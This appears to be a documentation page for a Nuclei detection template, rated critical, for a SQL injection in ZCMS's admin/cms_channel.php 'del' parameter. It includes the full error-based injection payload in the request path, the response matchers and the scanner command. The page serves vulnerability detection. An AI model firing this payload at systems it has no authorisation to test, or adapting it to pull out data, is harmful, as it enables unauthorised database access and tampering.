Skip to content

ZCMS - SQL Injection

ID: zcms-v3-sqli

Severity: critical

Author: princechaddha

Tags: zcms,sqli

ZCMS contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

id: zcms-v3-sqli
info:
name: ZCMS - SQL Injection
author: princechaddha
severity: critical
description: ZCMS contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
reference:
- https://www.anquanke.com/post/id/183241
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cwe-id: CWE-89
metadata:
max-request: 1
tags: zcms,sqli
variables:
num: "999999999"
http:
- method: GET
path:
- "{{BaseURL}}/admin/cms_channel.php?del=123456+AND+(SELECT+1+FROM(SELECT+COUNT(*)%2cCONCAT(0x7e%2cmd5({{num}})%2c0x7e%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)--%2b'"
matchers-condition: and
matchers:
- type: word
words:
- '{{md5({{num}})}}'
part: body
- type: status
status:
- 200
# digest: 4b0a00483046022100e78bc42af0a47be30a4511eb4943b28095d5b405e94cfa21824ab21ff6077322022100d32045b4c88be5405fecbfe3d1c4e871faa190febbe1463829189fd09ae615b5:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/zcms-v3-sqli.yaml"

View on Github